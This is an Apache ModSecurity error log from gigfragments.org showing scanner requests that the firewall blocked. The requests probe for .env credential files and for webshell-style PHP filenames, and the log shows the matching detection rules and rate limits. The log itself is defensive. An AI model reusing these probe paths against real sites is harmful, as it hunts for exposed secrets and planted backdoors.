[Fri Apr 03 19:43:05.960889 2026] [:error] [pid 33447:tid 33505] [client 144.172.94.2:44056] [client 144.172.94.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/.env"] [unique_id "ac-nyUgaPmDHz92j4lM02wAAAIE"]
[Fri Apr 03 19:43:21.518613 2026] [:error] [pid 35469:tid 35477] [client 144.172.94.2:44748] [client 144.172.94.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/.env.staging"] [unique_id "ac-n2aGvTIc8-wY3jURHkQAAAQY"]
[Fri Apr 03 19:43:27.182378 2026] [:error] [pid 33542:tid 33558] [client 144.172.94.2:44752] [client 144.172.94.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/.env.test"] [unique_id "ac-n33wb6uB1LaGtepbm4gAAAM0"]
[Fri Apr 03 19:43:46.636020 2026] [:error] [pid 35469:tid 35479] [client 144.172.94.2:56514] [client 144.172.94.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api/config.yml"] [unique_id "ac-n8qGvTIc8-wY3jURIAwAAAQg"]
[Fri Apr 03 19:43:53.907040 2026] [:error] [pid 33542:tid 33569] [client 144.172.94.2:44184] [client 144.172.94.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/shared/.env"] [unique_id "ac-n-Xwb6uB1LaGtepbm-QAAANg"]
[Fri Apr 03 20:19:34.853838 2026] [:error] [pid 35469:tid 35475] [client 172.161.140.213:47396] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "ac-wVqGvTIc8-wY3jURmiAAAAQQ"]
[Fri Apr 03 20:19:35.404526 2026] [:error] [pid 40562:tid 40573] [client 172.161.140.213:50763] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "ac-wVzfFMXuP9zvqCepwCgAAAYg"]
[Fri Apr 03 20:19:35.897714 2026] [:error] [pid 35469:tid 35487] [client 172.161.140.213:59483] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "ac-wV6GvTIc8-wY3jURmiQAAARA"]
[Fri Apr 03 20:19:36.669161 2026] [:error] [pid 55174:tid 55194] [client 172.161.140.213:5580] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "ac-wWJ_WKqUonPNUHYzjgQAAAdI"]
[Fri Apr 03 20:19:37.171344 2026] [:error] [pid 33447:tid 33526] [client 172.161.140.213:47404] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "ac-wWUgaPmDHz92j4lM-VAAAAJY"]
[Fri Apr 03 20:19:37.861467 2026] [:error] [pid 40562:tid 40576] [client 172.161.140.213:59506] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "ac-wWTfFMXuP9zvqCepwDwAAAYs"]
[Fri Apr 03 20:19:38.426741 2026] [:error] [pid 33445:tid 33467] [client 172.161.140.213:56619] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "ac-wWllRNZ0iDVmJWM3uYAAAABE"]
[Fri Apr 03 20:19:39.069691 2026] [:error] [pid 40562:tid 40589] [client 172.161.140.213:57206] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "ac-wWzfFMXuP9zvqCepwEQAAAZg"]
[Fri Apr 03 20:19:40.059397 2026] [:error] [pid 35469:tid 35478] [client 172.161.140.213:47419] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aapig.php"] [unique_id "ac-wXKGvTIc8-wY3jURmmAAAAQc"]
[Fri Apr 03 20:19:41.148066 2026] [:error] [pid 40562:tid 40580] [client 172.161.140.213:57174] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aapig.php"] [unique_id "ac-wXTfFMXuP9zvqCepwEgAAAY8"]
[Fri Apr 03 20:19:42.276047 2026] [:error] [pid 33447:tid 33504] [client 172.161.140.213:56607] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aapig.php"] [unique_id "ac-wXkgaPmDHz92j4lM-XgAAAIA"]
[Fri Apr 03 20:20:00.194940 2026] [:error] [pid 40533:tid 40540] [client 172.161.140.213:59478] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/web.php"] [unique_id "ac-wcPbIAA8AViDmwsujCwAAAUU"]
[Fri Apr 03 20:20:01.407584 2026] [:error] [pid 33446:tid 33482] [client 172.161.140.213:47408] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/web.php"] [unique_id "ac-wcdg3dCqFYIIdw0pFHQAAAEU"]
[Fri Apr 03 20:20:02.199090 2026] [:error] [pid 55174:tid 55185] [client 172.161.140.213:50774] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/web.php"] [unique_id "ac-wcp_WKqUonPNUHYzjnAAAAck"]
[Fri Apr 03 20:20:03.144558 2026] [:error] [pid 40562:tid 40580] [client 172.161.140.213:47392] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/web.php"] [unique_id "ac-wczfFMXuP9zvqCepwJgAAAY8"]
[Fri Apr 03 20:20:03.705705 2026] [:error] [pid 40533:tid 40553] [client 172.161.140.213:59505] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "ac-wc_bIAA8AViDmwsujDwAAAVI"]
[Fri Apr 03 20:20:04.203212 2026] [:error] [pid 40533:tid 40550] [client 172.161.140.213:40416] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "ac-wdPbIAA8AViDmwsujEQAAAU8"]
[Fri Apr 03 20:20:04.846802 2026] [:error] [pid 33446:tid 33479] [client 172.161.140.213:56590] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "ac-wdNg3dCqFYIIdw0pFJAAAAEI"]
[Fri Apr 03 20:20:05.507254 2026] [:error] [pid 40562:tid 40572] [client 172.161.140.213:5614] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "ac-wdTfFMXuP9zvqCepwLwAAAYc"]
[Fri Apr 03 20:20:05.977325 2026] [:error] [pid 40533:tid 40545] [client 172.161.140.213:40446] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wander.php"] [unique_id "ac-wdfbIAA8AViDmwsujEwAAAUo"]
[Fri Apr 03 20:20:06.666995 2026] [:error] [pid 55174:tid 55198] [client 172.161.140.213:45559] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wander.php"] [unique_id "ac-wdp_WKqUonPNUHYzjoQAAAdY"]
[Fri Apr 03 20:20:07.142881 2026] [:error] [pid 33446:tid 33496] [client 172.161.140.213:40428] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wander.php"] [unique_id "ac-wd9g3dCqFYIIdw0pFKgAAAFM"]
[Fri Apr 03 20:20:07.625578 2026] [:error] [pid 33445:tid 33474] [client 172.161.140.213:56610] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wander.php"] [unique_id "ac-wd1lRNZ0iDVmJWM3ufwAAABg"]
[Fri Apr 03 20:20:08.176677 2026] [:error] [pid 33447:tid 33514] [client 172.161.140.213:5572] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rithin.php"] [unique_id "ac-weEgaPmDHz92j4lM-ggAAAIo"]
[Fri Apr 03 20:20:08.648914 2026] [:error] [pid 35469:tid 35471] [client 172.161.140.213:45512] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rithin.php"] [unique_id "ac-weKGvTIc8-wY3jURm-AAAAQA"]
[Fri Apr 03 20:20:09.210219 2026] [:error] [pid 55174:tid 55181] [client 172.161.140.213:57152] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rithin.php"] [unique_id "ac-weZ_WKqUonPNUHYzjqAAAAcU"]
[Fri Apr 03 20:20:09.683751 2026] [:error] [pid 40562:tid 40576] [client 172.161.140.213:56627] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rithin.php"] [unique_id "ac-weTfFMXuP9zvqCepwNQAAAYs"]
[Fri Apr 03 20:20:10.200357 2026] [:error] [pid 55174:tid 55193] [client 172.161.140.213:56621] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lp6.php"] [unique_id "ac-wep_WKqUonPNUHYzjqwAAAdE"]
[Fri Apr 03 20:20:10.946796 2026] [:error] [pid 55174:tid 55194] [client 172.161.140.213:5621] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lp6.php"] [unique_id "ac-wep_WKqUonPNUHYzjrAAAAdI"]
[Fri Apr 03 20:20:11.448202 2026] [:error] [pid 40562:tid 40573] [client 172.161.140.213:56581] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lp6.php"] [unique_id "ac-wezfFMXuP9zvqCepwOwAAAYg"]
[Fri Apr 03 20:20:12.053569 2026] [:error] [pid 55174:tid 55189] [client 172.161.140.213:5596] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lp6.php"] [unique_id "ac-wfJ_WKqUonPNUHYzjsAAAAc0"]
[Fri Apr 03 20:20:12.539730 2026] [:error] [pid 33447:tid 33516] [client 172.161.140.213:45539] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "ac-wfEgaPmDHz92j4lM-hwAAAIw"]
[Fri Apr 03 20:20:13.238516 2026] [:error] [pid 55174:tid 55183] [client 172.161.140.213:50764] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "ac-wfZ_WKqUonPNUHYzjtAAAAcc"]
[Fri Apr 03 20:20:14.284790 2026] [:error] [pid 35469:tid 35484] [client 172.161.140.213:40411] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "ac-wfqGvTIc8-wY3jURnEAAAAQ0"]
[Fri Apr 03 20:20:14.951911 2026] [:error] [pid 40562:tid 40585] [client 172.161.140.213:50799] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "ac-wfjfFMXuP9zvqCepwPgAAAZQ"]
[Fri Apr 03 20:20:15.520923 2026] [:error] [pid 55174:tid 55198] [client 172.161.140.213:45546] [client 172.161.140.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/admin.php"] [unique_id "ac-wf5_WKqUonPNUHYzjvgAAAdY"]
[Fri Apr 03 20:20:16.022266 2026] [:error] [pid 33446:tid 33484] [client 172.161.140.213:57190] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aves.php"] [unique_id "ac-wgNg3dCqFYIIdw0pFPAAAAEc"]
[Fri Apr 03 20:20:17.041027 2026] [:error] [pid 33445:tid 33457] [client 172.161.140.213:40388] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aves.php"] [unique_id "ac-wgVlRNZ0iDVmJWM3umgAAAAc"]
[Fri Apr 03 20:20:17.882656 2026] [:error] [pid 33446:tid 33478] [client 172.161.140.213:46894] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aves.php"] [unique_id "ac-wgdg3dCqFYIIdw0pFVAAAAEE"]
[Fri Apr 03 20:20:19.186057 2026] [:error] [pid 35469:tid 35483] [client 172.161.140.213:56603] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aves.php"] [unique_id "ac-wg6GvTIc8-wY3jURnJgAAAQw"]
[Fri Apr 03 20:20:20.028165 2026] [:error] [pid 33445:tid 33454] [client 172.161.140.213:5574] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/webadmin.php"] [unique_id "ac-whFlRNZ0iDVmJWM3upwAAAAQ"]
[Fri Apr 03 20:20:21.078152 2026] [:error] [pid 33542:tid 33554] [client 172.161.140.213:57175] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/webadmin.php"] [unique_id "ac-whXwb6uB1LaGtepbulQAAAMk"]
[Fri Apr 03 20:20:22.535310 2026] [:error] [pid 33446:tid 33489] [client 172.161.140.213:40394] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/webadmin.php"] [unique_id "ac-whtg3dCqFYIIdw0pFcwAAAEw"]
[Fri Apr 03 20:20:23.821977 2026] [:error] [pid 33445:tid 33458] [client 172.161.140.213:56613] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/webadmin.php"] [unique_id "ac-wh1lRNZ0iDVmJWM3uuQAAAAg"]
[Fri Apr 03 20:20:25.034346 2026] [:error] [pid 40562:tid 40581] [client 172.161.140.213:5577] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/to.php"] [unique_id "ac-wiTfFMXuP9zvqCepwTgAAAZA"]
[Fri Apr 03 20:20:26.748280 2026] [:error] [pid 33542:tid 33561] [client 172.161.140.213:52878] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/to.php"] [unique_id "ac-winwb6uB1LaGtepbungAAANA"]
[Fri Apr 03 20:20:27.454943 2026] [:error] [pid 33446:tid 33486] [client 172.161.140.213:45522] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/to.php"] [unique_id "ac-wi9g3dCqFYIIdw0pFjgAAAEk"]
[Fri Apr 03 20:20:27.938508 2026] [:error] [pid 33446:tid 33477] [client 172.161.140.213:45529] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/to.php"] [unique_id "ac-wi9g3dCqFYIIdw0pFkgAAAEA"]
[Fri Apr 03 20:20:28.509415 2026] [:error] [pid 40562:tid 40565] [client 172.161.140.213:52913] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ac-wjDfFMXuP9zvqCepwVwAAAYA"]
[Fri Apr 03 20:20:29.119993 2026] [:error] [pid 35469:tid 35493] [client 172.161.140.213:57212] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ac-wjaGvTIc8-wY3jURnUgAAARY"]
[Fri Apr 03 20:20:29.770786 2026] [:error] [pid 33447:tid 33526] [client 172.161.140.213:47400] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ac-wjUgaPmDHz92j4lM-nAAAAJY"]
